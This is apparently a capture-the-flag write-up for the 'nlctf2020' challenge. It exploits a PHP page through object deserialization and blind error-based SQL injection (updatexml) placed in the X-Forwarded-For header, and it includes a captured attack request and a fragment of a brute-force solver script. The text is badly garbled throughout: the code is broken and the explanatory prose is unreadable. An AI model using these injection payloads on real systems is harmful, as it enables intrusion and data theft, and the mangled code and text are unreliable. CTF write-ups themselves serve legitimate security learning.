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public $ip;
public function waf($info){
)i
public function _ construct() {
if(isset($_SERVER[
$this->ip = $this->waf($_SERVER[
}else{
$this->ip =$ SERVER[

}
public function _ toString(){

$con=mysqli_connect( );
$sqlquery=sprintf( ,$this->waf($_SERVER[
1),time());
if(!mysqli_query($con,$sqlquery)){
return mysqli _error($con);
}else{
return

}

mysqli_close($con);

{
$ip;
public $check;
public function __ construct($ip) {
$this->ip $ip;
}
public function getflag(){
if(md5($this->check) md5 (
readfile( )
b
return $this->ip;
bj
public function _ wakeup(){
if(stristr($this->ip,
$this->ip
else
$this->ip
b
public function _ destruct() {
echo $this->getflag();

)i

if(isset($_GET] DDA
$input = $_GET[ 1;

unserialize($input);

}
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$a new flag(new ip());

echo $a;
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public function _ toString(){
$con=mysqli_connect( )
$sqlquery=sprintf( ,$this->waf($_SERVER[
1), time());
if(!mysqli_query($con,$sqlquery)){
return mysqli_error($con);
}else{
return

1
J

mysqli close($con);

public function __ wakeup(){
if(stristr($this->ip,
$this->ip
else
$this->ip

fEflagdE Bl stristr($this->ip, "nlctf")HI$this->ipMME LB TSQLIB BT E R EME, =Bt R ipdEisqliB AT i
IR "your ip looks ok!"ZRJEAAFE"nlctf"F/FH, HJEIREI T H Znoip. W sqlili AT R IR FRMAE &, Wil 5 2 B
B "nlctf" Bt T4 Hwelcome to nlctf2020

W BT, RBLEH AR AsqRE AREAMT 1, W R R AT L AT sqlif AR AT Al o i HL AT BLEEAT 0=k 1. B AFRAT]
EthklﬁfFHTQ TN -

((1=1), " nlctf’,0)),” 7)),
MariaDB [ (none)]> select t xm] ( :J;ﬂf_;"’,taelect if ((1=2), nlctf’,0)),” ™)

ERROR 1105 (HY000) :
MariaDB [ (none)]>

select updatexml(1,concat( ,(select if((1=1), ,9)),
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GET /7?input=0:4: "flag”:2: "ip":N:}s:5: "check” ;N:} HITR/1.1
Host: 101.3 T
User-Agent:
Firefox/81.0

Accept: text/html, application/zhtml+zml, application/=ml;q=0. 9, image/ webp, */* ¢=0. &
Accept-Language: zh-CHN. zh:g=0. 8, sh-TW:q=0. 7, zlh-HK:q=0. 5, en-US5:q=0. 3, en:g=0. 2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

211la/5.0 Gecko/20100101

DNT: 1
N-Forwarded-For: " or updatexml(1, concat (" ', (select if ((1=2), nictf’,0))," 7). 1) or '
Sec—GPC: 1

Cache-Control: max—age=0
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1), time () ;
1f ("mysgli_query ($con. $sglquery)) {
return mysgli_error ($con) ;
Yelsed
return &quot;vour ip leocks ok!&quot;;
}

mysgli_close{$con) ;
}

class flag {
public $ip;
public $check:
public function __construct ($ip) {
$this—&gt .ip = $ip:
}
public function getflag() {
if (md5 ($this—&gt : check) ===md5 (&quot key*e¥rrsrrrerrerrredouot ;) ) {
readfile (&#x27;/Flaghix27:) :
}
return $this—&gt: ip:
}
public function __wakeup () {
if (stristr ($this—&gt:ip, &quet:nictf&quot;)!==False)
$this—&gt:ip = &quot;welcome to nictf2020&quot:
else
$this—&gt:ip = &quot: noipkquat ; ;
}
public function __destruct () {
eche §this—&ket getflag():

H
H
if (isset ($_GET [&Hx2T7; input&fix2
$input = $_GET[&#x27:inputd:
unseriglize (§input) ;
}
</code>

<{code’noip</coder</pre>r
<seript sre="./prism. js"></script>




import requests

for m in (48,126):

headers {

1
J

res requests.get(url=url, headers=headers)

in res.text:
flag = flag (m)
break

print flag
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